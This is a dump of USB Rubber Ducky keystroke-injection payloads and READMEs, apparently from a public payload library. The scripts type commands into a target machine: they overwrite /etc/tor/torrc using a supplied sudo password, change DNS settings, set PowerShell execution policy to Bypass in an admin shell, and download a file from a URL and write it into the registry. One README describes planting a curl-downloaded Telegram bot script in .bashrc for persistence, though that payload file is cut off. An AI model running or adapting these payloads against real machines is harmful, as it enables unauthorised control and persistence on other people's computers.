Circuit](#description-of-the-tor-circuit)\n- - [Torrc Configuration File](#torrc-configuration-file)\n- [Tor University Challenge by EFF](#tor-university-challenge-by-eff) *Off-topic* \n- [Sources](#sources)\n- [Credits](#credits)\n\n## Payload Description\n\n**Requirements:**\n- Tor installed\n- Fingerprints of your relays\n\n**Notes:**\n- Payload tested using TorBrowser 13.0.8 based on Mozilla Firefox 115.6.0esr ENG\n- Payload tested on Windows 11_eng; Debian 12_eng; Ubuntu 23.10_eng;\n\nTo find fingerprints of various nodes you can go to https://metrics.torproject.org and set up a search based on what you are interested in such as country, node name, etc... For example if you try to search for '**Aleff**' it will send you to my [Tor Relay page](https://metrics.torproject.org/rs.html#details/B8C9DF8404FE175E37241774856907184A667ED2) (_Unless someone has created other Relays with the same name in the meantime_) where you can find the fingerprint information which is the data you are interested in.\n\n![](https://i.ibb.co/YN5515G/tor-node.png)\n\nThe script begins by defining the fingerprints of the entry, middle, and exit nodes using the `DEFINE` commands. Additionally, it provides instructions for activating administrator permissions, with specific considerations for systems like Debian and Ubuntu.\n\n**Configuration on Linux:**\n- If the operating system is Linux, the user must provide the command to obtain root privileges (`#root_permission_command`) as `sudo su` instead of `su` and the associated password (`#sudo_pass`).\n\n**Configuration on Windows:**\n- If the operating system is Windows, the script opens TorBrowser using Windows GUI commands.\n- Is not needed the root privileges\n- It overwrites all the old data with the new data defined at the beginning of the script.\n\nThe script aims to edit the Tor configuration process to ensure the specific use of entry, middle, and exit nodes. Users need to customize the node fingerprints and provide specific operating system information to ensure the correct operation of the script on the target platform.\n\nIn any case, the script is designed to completely overwrite the old configuration of the torrc file, so be very careful how you use it since it could be an irreversible change and could cause a loss of data.\n\n## Note\n\n- The payload is designed to run on a Windows or Linux system and requires Tor to be installed.\n- **#EntryNode**, **#MiddleNode**, **#ExitNode**: These variables must contain the fingerprint of the relays you want to use as nodes in your circuit.\n- **#root_permission_command**: Activation of administrator permissions may vary from system to system. For example, for Debian it is necessary to use 'su' while for other systems such as Ubuntu it is necessary to use 'sudo su'. In general this can vary and is information that could be crucial in case the target has tampered with this functionality.\n- **#sudo_pass**: Edit this field only if you plan to use this script on Linux operating systems as you need administrator permissions and therefore you need to know the password.\n- **#const_var**: Do not change the variables that begin with 'const', they are constants that allow the nodes to be configured correctly.\n- **EXTENSION**: Through the use of the PASSIVE_WINDOWS_DETECT\\[[1](#sources)] extension, it is possible to detect the operating system on which the payload is launched, which, in this case, can be differentiated between Windows or any other operating system, which in our case corresponds to Linux. This powerful extension also allows you to determine when the system is ready to use since it includes the extension the passive Detect Ready. Using this extension not only makes it possible to use this payload dynamically on multiple systems, but also makes it extremely more efficient.\n\n## Tor Configuration\n\n![Tor](https://upload.wikimedia.org/wikipedia/commons/thumb/1/15/Tor-logo-2011-flat.svg/459px-Tor-logo-2011-flat.svg.png)\n\n### Description of the Tor Circuit\n\nThe Tor circuit is a fundamental component of the infrastructure that ensures anonymity and security in online communications. The Tor circuit consists of three types of nodes, each with a specific role: Entry Node, Middle Node, and Exit Node.\n\n![Tor Circuit](https://upload.wikimedia.org/wikipedia/commons/d/dc/Tor-onion-network.png)\n\n1. **Entry Node:**\n   - The Entry Node is the first node in the Tor circuit.\n   - When a user initiates a connection through Tor, the traffic is encrypted and sent to the Entry Node.\n   - The Entry Node is aware of the user's IP address but cannot see the final destination of the traffic.\n   - Its primary function is to pass it to the next node, so the Middle Node, without knowing the ultimate destination.\n\n2. **Middle Node:**\n   - The Middle Node is the second node in the Tor circuit.\n   - It receives encrypted traffic from the Entry Node and forwards it to the next node in the chain, which can be another Middle Node or the Exit Node.\n   - The Middle Node is not aware of the user's IP address or the final destination of the traffic.\n   - Its main function is to further enhance anonymity since it lacks information about the origin or destination of the traffic.\n\n3. **Exit Node:**\n   - The Exit Node is the last node in the Tor circuit.\n   - It receives encrypted traffic from the Middle Node and decrypts it before sending it to the final destination on the internet.\n   - The Exit Node is aware of the destination address but does not know the user's IP address and the Entry Node in the same circuit.\n   - Its primary function is to provide a point of exit for the traffic while maintaining the anonymity of the user.\n\n### Torrc Configuration File\n\nThe `torrc` configuration file is a crucial component of the Tor, governing the behavior and settings of the Tor network on a particular system. This plaintext configuration file is typically named \"torrc\" and is utilized to customize various aspects of Tor's operation. Here's an overview of the key elements found in the `torrc` file:\n\n1. **Entry, Middle, and Exit Nodes Configuration:**\n   - Users can specify the fingerprints or identities of preferred Entry, Middle, and Exit nodes using directives like `EntryNodes`, `MiddleNodes`, and `ExitNodes`. This allows users to influence the selection of these nodes in their Tor circuit for enhanced control or security. *This functionality is used in this payload.*\n\n2. **General Tor Configuration:**\n   - The `torrc` file includes parameters for configuring the general behavior of Tor. This may involve settings such as the port on which Tor listens, bandwidth limits, logging preferences, and whether the system should act as a relay or only as a client.\n\n3. **Bridge Configuration:**\n   - For users in regions with restricted access to the Tor network, the `torrc` file allows the configuration of bridge relays. Bridge relays help users bypass censorship by providing an alternative entry point to the Tor network.\n\n4. **Hidden Service Configuration:**\n   - Users hosting Tor hidden services can configure their services through the `torrc` file. This includes defining the service's port, authentication methods, and other related parameters.\n\n5. **Logging and Debugging:**\n   - The file provides options for configuring logging levels and debugging information. Users can tailor the amount of detail Tor logs, facilitating troubleshooting and analysis.\n\n6. **Security Settings:**\n   - Various security-related options can be configured in the `torrc` file, such as restricting certain features or specifying the behavior of Tor in response to specific security events.\n\n7. **Network and Protocol Settings:**\n   - Users can fine-tune Tor's network and protocol settings in the `torrc` file, influencing aspects such as circuit creation, DNS resolution, and transport protocols.\n\nCustomizing the `torrc` file allows users to tailor Tor's behavior to their specific needs and security requirements. However, users should exercise caution and adhere to Tor's best practices to ensure the continued effectiveness and anonymity of their Tor usage.\n\n> See the [sources](#sources) section for more on this topic.\n\n## Tor University Challenge by EFF\n\n*Off-Topic*\n\n![](https://www.eff.org/files/banner_library/banner-tor-monions.png)\n\nTor is a valuable tool for browsing the web anonymously, but since it's powered by volunteers willing to share some bandwidth and a computer, it's always in need of additional help. Which is why EFF is announcing the Tor University Challenge, a project asking universities to start running Tor relays on campus. Today, we're launching with support from 12 universities. With your help, we can add more universities to strengthen the Tor network to improve one of the best free privacy tools available today.\n\n*Source: https://www.eff.org/deeplinks/2023/08/announcing-tor-university-challenge*\n\n> If you are interested in finding out more about Tor and EFF's initiative, you can learn more at the official page of [Tor University Challenge](https://toruniversity.eff.org/).\n\n## Sources\n\n1. Passive Windows Detect - https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt\n2. Select the relays - https://metrics.torproject.org/rs.html\n3. torrc - https://support.torproject.org/glossary/torrc/\n4. Official torrc documentation and so on - https://2019.www.torproject.org/docs/tor-manual.html.en\n5. Tor University Challenge - https://toruniversity.eff.org/\n\n\n## Credits\n\n<h2 align=\"center\"> Aleff</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit/payload.txt",
    "content": "REM_BLOCK\n################################################################\n#                                                              |\n# Title        : Set An Arbitrary And Persistent Tor Circuit   |\n# Author       : Aleff                                         |\n# Version      : 1.0                                           |\n# Category     : Execution                                     |\n# Target       : Windows 10/11; Linux;                         |\n#                                                              |\n################################################################\n\nRequirements:\n - Tor installed\n - Fingerprints of your relays\n\nNote:\n - Payload tested using TorBrowser 13.0.8 based on Mozilla Firefoz 115.6.0esr ENG\n - Payload tested on Windows 11_eng; Debian 12_eng; Ubuntu 23.10_eng;\nEND_REM\n\nREM Set the Fingerprints here\nDEFINE #EntryNode example\nDEFINE #MiddleNode example\nDEFINE #ExitNode example\n\nREM_BLOCK\nActivation of administrator permissions may vary from system to system.\nFor example, for Debian it is necessary to use 'su' while for other systems such as Ubuntu it is necessary to use 'sudo su'.\nIn general this can vary and is information that could be crucial in case the target has tampered with this functionality.\nEND_REM\nDEFINE #root_permission_command sudo su\n\nREM Edit this field only if you plan to use this script on Linux operating systems as you need administrator permissions and therefore you need to know the password.\nDEFINE #sudo_pass example\n\nREM Do not change the variables that begin with 'const', they are constants that allow the nodes to be configured correctly.\nDEFINE #const_entry_node EntryNodes\nDEFINE #const_middle_node MiddleNodes\nDEFINE #const_exit_node ExitNodes\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\nEND_EXTENSION\n\nIF ($_OS == WINDOWS) THEN\n    REM Open the TorBrowser path\n    GUI\n    DELAY 500\n    STRINGLN tor browser\n    RIGHTARROW\n    DOWNARROW\n    DOWNARROW\n    ENTER\n    SHIFT F10\n    DELAY 500\n    DOWNARROW\n    DOWNARROW\n    ENTER\n    REM Search and open the torrc config file\n    CTRL f\n    DELAY 500\n    STRING torrc\n    DELAY 1500\n    DOWNARROW\n    SPACE\n    ENTER\n    TAB\n    ENTER\n    REM Delete all the previous data with the arbotrary nodes\n    CTRL a\n    DELETE\n    STRINGLN\n        #const_entry_node #EntryNode\n        #const_middle_node #MiddleNode\n        #const_exit_node #ExitNode\n    END_STRINGLN\n    CTRL s\n    ALT F4\n    ALT F4\nELSE\n    REM Opens a new terminal and login with administrator permissions.\n    CTRL-ALT t\n    STRINGLN #root_permission_command\n    DELAY 500\n    STRING #sudo_pass\n    DELAY 1000\n    REM Writes the new configuration into the torrc file deleting all the previous settings.\n    STRINGLN\n        echo \"#const_entry_node #EntryNode\n        #const_middle_node #MiddleNode\n        #const_exit_node #ExitNode\" > /etc/tor/torrc\n    END_STRINGLN\n    REM Then exit from the super user and close the terminal\n    DELAY 500\n    STRINGLN exit\n    ALT F4\nEND_IF\n"
  },
  {
    "path": "payloads/library/execution/Set_An_Arbitrary_DNS-IPv4_version/README.md",
    "content": "# Set An Arbitrary DNS (IPv4 version)\n\nThis script can be used to change the default DNS server in Windows 11.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to change the default DNS server in Windows 11.\n\nThe script open the settings, then go to network settings, then go to wi-fi settings, then go to hardware properties settings, the open the dns settings, then change to manual, then set the DNS server defined before, then save the settings changed and close the window.\n\n- You must edit the DNS defining the IPv4 in the payload.txt file\n\n```DuckyScript\nREM DNS IPv4 like Cloudflare DNS 1.1.1.1\nDEFINE DNS example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Set_An_Arbitrary_DNS-IPv4_version/payload.txt",
    "content": "REM ########################################################\nREM #                                                      |\nREM # Title        : Set An Arbitrary DNS (IPv4 version)   |\nREM # Author       : Aleff                                 |\nREM # Version      : 1.0                                   |\nREM # Category     : Execution                               |\nREM # Target       : Windows 11                            |\nREM #                                                      |\nREM ########################################################\n\n\nREM Requirements:\nREM     - Nothing\n\n\nREM DNS IPv4 like Cloudflare DNS 1.1.1.1\nDEFINE DNS example\n\n\nREM Open Settings\nDELAY 1000\nGUI\nDELAY 1000\nSTRING settings\nDELAY 1000\nENTER\n\nREM Go to network settings\nDELAY 1000\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\nENTER\n\nREM Go to Wi-Fi settings\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Go to hardware properties settings\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM DNS Settings\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Change to manual\nDELAY 1000\nSPACE\nDELAY 500\nDOWNARROW\nDELAY 500\nENTER\n\nREM Set the DNS server\nDELAY 1000\nTAB\nDELAY 500\nSPACE\nDELAY 500\nTAB\nDELAY 500\nSTRING DNS\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Save settings\nDELAY 1000\nDOWNARROW\nDELAY 500\nENTER\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Set_Tor_Bridge_In_Windows/README.md",
    "content": "# Set Tor Bridge in Windows\n\nIntroducing the \"Set Tor Bridge in Windows\" payload a DuckyScript payload designed for USB Rubber Ducky. This versatile payload empowers users to manually configure Tor bridges, enabling the selection of any bridge of their choice. With the ease of customization, users can redefine their Tor experience by setting bridges in a way that suits their preferences. This payload not only provides flexibility but also enhances user control over their Tor network settings.\n\n> In Tor, a \"bridge\" is a server used as an intermediary to help users connect to the Tor network more securely and bypass any restrictions or censorship on accessing Tor. Bridges are often employed when direct access to Tor is blocked or monitored by a firewall or censorship system.\n>\n> Essentially, when using a bridge, the initial connection is made through the bridge instead of through a standard Tor entry node. This makes it more challenging for censors to identify and block Tor traffic, as the traffic through the bridge appears like regular, non-Tor traffic.\n>\n> Bridges can be manually configured in the Tor client settings, allowing users to overcome restrictions and access the Tor network in situations where it might otherwise be prevented.\n\n*Source: What is a bridge\\[[2](#sources)]*\n\n**Category**: Execution\n\n## Index\n\n- [Set Tor Bridge in Windows](#set-tor-bridge-in-windows)\n- [Payload Description](#payload-description)\n- [Note](#note)\n- [Sources](#sources)\n- [Credits](#credits)\n\n## Payload Description\n\nThe following DuckyScript payload is designed to execute a series of commands using the TorBrowser. It requires Tor to be installed before running. Here's a description of the payload's behavior:\n\n1. Opens the Start menu by pressing the GUI (Windows) key.\n2. Types \"TorBrowser\" and presses Enter to launch the TorBrowser.\n3. Executes a sequence of key presses to navigate in the browser:\n    \n   a. Presses ALT\n   \n   b. Then 2 times the Left Arrow to position yourself on the \"Tools\" item\n\n   c. Presses ENTER to open the menu\n\n   d. Up Arrow and ENTER to open the settings page\n\n   e. Write the contstant \"Add a new Bridge\" to search the bridge section\n   \n   f. Now the ALT TAB command combination is repeated 12 times. It is seemingly counterintuitive to go backwards, but this strategy allows the use of this payload to be generalized in that it does not change whether other active bridges are already present.\n   \n   h. Presses Enter to open the Manual Bridge area.\n5. Moves the cursor to the text area (TAB).\n6. Writes the contents of the variables #BRIDGE, #BRIDGE-N, multiple bridges can be entered.\n7. Saves the new settings and closes\n8. Closes the TorBrowser using the ALT F4 key combination.\n\n## Note\n\n- The payload is designed to run on a Windows system and requires Tor to be installed.\n- The variable #BRIDGE is defined at the beginning of the payload to allow the user to specify their own bridge.\n- Ensure that the key sequences are adapted to the specific version of the TorBrowser in use.\n- The payload incorporates the DETECT_READY\\[[1](#sources)] extension to optimize the system's wait before starting the TorBrowser and executing subsequent operations. This approach aims to ensure that each step of the payload is executed only when the system is fully ready, contributing significantly to overall execution efficiency.\n\n## Sources\n\n1. Detect Ready - Smarter Initial Delays for Keystroke Injection Attacks with the USB Rubber Ducky - https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready\n2. What is a bridge? - https://support.torproject.org/censorship/censorship-7/\n\n## Credits\n\n<h2 align=\"center\"> Aleff</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Set_Tor_Bridge_In_Windows/payload.txt",
    "content": "REM ###################################\nREM #                                 |\nREM # Title        : Set Tor Bridge   |\nREM # Author       : Aleff            |\nREM # Version      : 1.0              |\nREM # Category     : Execution        |\nREM # Target       : Windows 10/11    |\nREM #                                 |\nREM ###################################\n\nREM Requirements:\nREM     - Tor installed\n\nREM Note:\nREM     - Payload tested using TorBrowser 13.0.8 based on Mozilla Firefoz 115.6.0esr ENG\n\nREM Set your own bridge(s) here\nDEFINE #BRIDGE example\nDEFINE #BRIDGE-N example-n\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nGUI\nDELAY 500\nSTRING tor browser\nENTER\nDELAY 1000\n\nALT\n\nVAR $FOO = 2\nWHILE ( $FOO > 0 )\n    LEFTARROW\n    $FOO = ( $FOO - 1 )\nEND_WHILE\n\nENTER\n\nUPARROW\n\nENTER\n\nDELAY 500\n\nSTRING Add a new Bridge\n\n$FOO = 12\nWHILE ( $FOO > 0 )\n    ALT TAB\n    $FOO = ( $FOO - 1 )\nEND_WHILE\n\nENTER\n\nTAB\n\nSTRINGLN #BRIDGE\nSTRINGLN #BRIDGE-N\n\nTAB\n\nENTER\n\nDELAY 500\n\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Simple_PSH_Wallpaper_Changer/Payload.txt",
    "content": "REM Wallpaper Changer\nREM H4ck1ngM4rk\nREM Downloads a picture and set it as wallpaper, gets Visible after Restart or Relogin\nREM Tested on Windows 11 PRO\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\n\nDEFINE URL example.com\nREM The URL to get the Picture from\nDEFINE PATH $home\\XXX.jpg\nREM Define where to store the Picture\nGUI x\nDELAY 100\nSTRING i\nDELAY 750\nSTRING Invoke-WebRequest https://\nSTRING URL\nSPACE\nSTRING -OutFile\nSPACE\nSTRING PATH\nSTRING ; reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"\nSTRING PATH\nSTRINGLN \" /f; RUNDLL32.EXE USER32.DLL ,UpdatePerUserSystemParameters ,1 ,True;exit;\n"
  },
  {
    "path": "payloads/library/execution/Starting_a_PowerShell_with_administrator_permissions_in_Windows/README.md",
    "content": "# Starting a PowerShell with administrator permissions in Windows 10/11\n\nThis script can be considered by people who are new to the world of scripts written in DuckyScript so that they can understand how to start a PowerShell with administrator permissions on a Windows machine.\n\n**Category**: Execution\n\n## Description\n\nThis script can be considered by people who are new to the world of scripts written in DuckyScript so that they can understand how to start a PowerShell with administrator permissions on a Windows machine.\n\nStarting a PowerShell session with administrator privileges means the session has access to features and operations that require high permissions on the Windows operating system.\n\nSome PowerShell commands require administrator privileges to run properly. Starting PowerShell as an administrator allows you to execute commands that require elevated permissions, such as managing system services, changing security settings, creating or modifying user accounts, installing system-level software, and so on.\n\nIt is important to note that running PowerShell with administrator privileges involves a higher level of responsibility and can cause significant changes to the system. Therefore, it is advisable to be careful and fully understand the effects of operations performed in a session with administrator privileges to avoid unwanted or harmful changes.\n\n## Dependencies\n\n* Nothing\n\n## Example\n\n- `STRINGLN Get-ExecutionPolicy -List`\n![](docs/1.png)\n\n- `STRINGLN Set-ExecutionPolicy Bypass`\n![](docs/2.png)\n\n- `STRINGLN Get-ExecutionPolicy -List`\n![](docs/3.png)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Starting_a_PowerShell_with_administrator_permissions_in_Windows/payload.txt",
    "content": "REM ####################################################################################\nREM #                                                                                  |\nREM # Title        : Starting a PowerShell with administrator permissions in Windows   |\nREM # Author       : Aleff                                                             |\nREM # Version      : 1.0                                                               |\nREM # Category     : Execution                                                           |\nREM # Target       : Windows 10-11                                                     |\nREM #                                                                                  |\nREM ####################################################################################\n\nREM Requirements:\nREM     - Nothing\n\nDELAY 1000\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFT_ARROW\nDELAY 500\nENTER\n\nDELAY 2000\nSTRINGLN Get-ExecutionPolicy -List\nDELAY 500\nSTRINGLN Set-ExecutionPolicy Bypass\nDELAY 500\nSTRINGLN Get-ExecutionPolicy -List\nDELAY 500\n\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Stop_A_Single_Process_In_Windows/README.md",
    "content": "# Stop A Single Process In Windows\n\nThis script can be used to quickly stop an active process on a windows machine.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to quickly stop an active process on a windows machine.\n\nThis script open the Task Manager app, then go to search bar, then write the process name that want to be stopped, open the right click mouse menu and click the end task option, then close the task manager app.\n\n## Dependencies\n\n* Nothing\n\n## Settings\n\n- Write the name of the process that you want to stop \n    \n    `DEFINE PROCESS_NAME example`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Stop_A_Single_Process_In_Windows/payload.txt",
    "content": "\nREM #####################################################\nREM #                                                   |\nREM # Title        : Stop A Single Process In Windows   |\nREM # Author       : Aleff                              |\nREM # Version      : 1.0                                |\nREM # Category     : Execution                          |\nREM # Target       : Windows 10/11                      |\nREM #                                                   |\nREM #####################################################\n\n\nREM Requirements:\nREM     - Nothing\n\n\nREM Write the name of the process that you want to stop \nDEFINE PROCESS_NAME example\n\n\nREM Open Task Manager\nGUI\nDELAY 1000\nSTRING Task Manager\nENTER\nDELAY 1000\n\nREM Goto search bar\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\n\nREM Write the process name\nSTRING PROCESS_NAME\nDELAY 500\nENTER\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\n\nREM Open the menu and close it ending the task\nSHIFT F10\nDELAY 500\nDOWNARROW\nDELAY 500\nDOWNARROW\nDELAY 500\nENTER\nDELAY 2000\n\nREM Close the task manager\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Telegram_Persistent_Connection_Linux/README.md",
    "content": "# Telegram Persistent Connection\n\nA script used to configure a persistent connection on a Linux computer through a pre-configured Telegram Bot.\n\n**Category**: Execution\n\n## Description\n\nA script used to configure a persistent connesction on a Linux computer through a pre-configured Telegram Bot.\n\nOpens a shell, download the python script through the `curl` command outputing the file into a `connection.py` file using `-o` option, then run it and set the run of the program as a default command every times a shell is runned.\n\nThis payload is intended as a basic reference point for developing payloads on a persistent connection Telegram based.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n\n### Settings\n\n- **Telegram Bot**: You should configure a bot through Telegram. If you don't know how to do this, follow the guide about [Telegram Bot guide](#telegram-bot-guide). When you have create your personal Telegram Bot you should get the Telegram bot ID that you must put into the variable BOT_TOKEN at line 4 in the Python file as you can read in the line 3 comment.\n- **Python Script**: Download, edit as you want and upload the python script somewhere you want and put the file link into the file payload.txt replacing the example link.\n- **Persistence**: I preferred to create a mechanism that would allow you to create *some* persistence, not quite total, but you can have a high level of persistence. In this specific case, no permissions are needed, because it is sufficient to insert some lines in the .bashrc file that allow to keep the connection to Telegram open from the first time the user opens the terminal. Most of other mechanism needs the sudo permissions. \n\n### Telegram Bot Guide\n\n1. Search for `@botfather` in Telegram.\n2. Start a conversation with BotFather by clicking on the Start button.\n3. Type /newbot, and follow the prompts to set up a new bot.\n4. Select and copy the Bot Token that you can see after the registration and past it into the `BOT_TOKEN` python variable that you find in the `connection.py` file at line 3.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Telegram_Persistent_Connection_Linux/connection.py",
    "content": "from telebot import TeleBot\n\n# Set here the Telegram bot token\nBOT_TOKEN = \"\"\nbot = TeleBot(BOT_TOKEN)\n\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n\tbot.reply_to(message, \"Ok it works\")\n\nbot.infinity_polling()\n"
  },
  {
    "path": "payloads/library/execution/Telegram_Persistent_Connection_Linux/payload.txt",
